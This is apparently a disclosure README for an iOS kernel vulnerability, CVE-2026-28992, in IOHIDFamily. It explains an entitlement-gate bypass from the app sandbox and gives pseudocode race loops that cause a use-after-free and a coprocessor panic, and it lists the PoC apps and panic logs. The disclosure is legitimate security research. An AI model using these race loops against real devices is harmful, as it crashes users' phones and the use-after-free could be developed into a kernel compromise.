
UAF and AOP coprocessor panic in IOHIDEventServiceFastPathUserClient. No entitlements, reachable from app sandbox.
CVE-2026-28992 | Author: Johnny Franks (@zeroxjf)
Component: IOHIDFamily
Impact: An attacker may be able to cause unexpected app termination
Description: A memory corruption vulnerability was addressed with improved locking.
Both PoCs kernel-panic and reboot affected devices. Save your work first.
Two race conditions in IOHIDEventServiceFastPathUserClient (IOHIDFamily kext). No entitlements required. Reachable from the normal app sandbox.
Both vectors use IOServiceOpen(service, task, 2, &conn). The sel0 open gate checks FastPathHasEntitlement and FastPathMotionEventEntitlement in the caller-supplied OSDictionary instead of the entitlement flags stored during initWithTask; a sandboxed app passes the gate by including those keys in the input struct.
// open 15 connections to the same IOHIDEventService provider
io_connect_t conns[15];
for (int i = 0; i < 15; i++) {
IOServiceOpen(service, mach_task_self(), 2, &conns[i]);
IOConnectCallMethod(conns[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // gate
}
// thread A: conn[0] rapid close → reopen (lifecycle churn + provider ref drop)
while (!stop) {
IOConnectCallMethod(conns[0], /*sel*/ 1, &scalar, 1, NULL, 0, ...); // close
IOConnectCallMethod(conns[0], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...); // reopen
}
// threads B..N: conn[1..N] tight copyEvent loop (per-connection locking only)
while (!stop) {
uint64_t args[2] = { 0, 1 };
IOConnectCallMethod(conns[k], /*sel*/ 2, args, 2, NULL, 0, ...); // copyEvent
}
The close path (sel1) drops provider state and clears +0x109 with no lock. copyEvent (sel2) checks a different flag (+0x108) under a per-connection lock, then calls into the provider. Multiple connections to the same provider means close and copyEvent operate in different locking domains on shared provider-side objects.
// pre-open 3 opener connections
io_connect_t openers[3];
for (int i = 0; i < 3; i++) {
IOServiceOpen(service, mach_task_self(), 2, &openers[i]);
IOConnectCallMethod(openers[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// opener threads: continuous close → reopen
while (!stop) {
IOConnectCallMethod(openers[k], /*sel*/ 1, &scalar, 1, NULL, 0, ...);
IOConnectCallMethod(openers[k], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// main thread: batch pre-gate → rapid teardown loop
while (!stop) {
// create + gate 16 probe connections
io_connect_t probes[16];
for (int i = 0; i < 16; i++) {
IOServiceOpen(service, mach_task_self(), 2, &probes[i]);
IOConnectCallMethod(probes[i], /*sel*/ 0, &scalar, 1, xml, xmlLen, ...);
}
// destroy all probes — each fires async didTerminate → teardown
// teardown removes/frees provider-facing state while opener threads iterate
// provider-facing state via the open path
for (int i = 0; i < 16; i++)
mach_port_destroy(mach_task_self(), probes[i]);
usleep(80000); // 80ms race window
}
mach_port_destroy triggers async didTerminate → close/teardown, unsynchronized with concurrent sel0 open paths on other connections. This also saturates SPU-backed providers' mailbox, triggering AOP watchdog timeout.
| Path | Description |
|---|
UAFPoc/ | iOS app — triggers the UAF (MTE tag fault on A17+, data abort on pre-A17) |
AOPPanicPoc/ | iOS app — triggers the AOP coprocessor panic via SPU mailbox saturation |
panic-logs/mte-tag-fault.ips | Kernel tag check fault — iPhone 17 Pro Max (A19 Pro, MTE+PAC) |
panic-logs/ipad-data-abort.ips | Kernel data abort — iPad Pro 12.9" 2nd gen (A10X, no MTE/PAC) |
panic-logs/aop-panic.ips | AOP coprocessor panic — iPhone 17 Pro Max (SPU mailbox overflow) |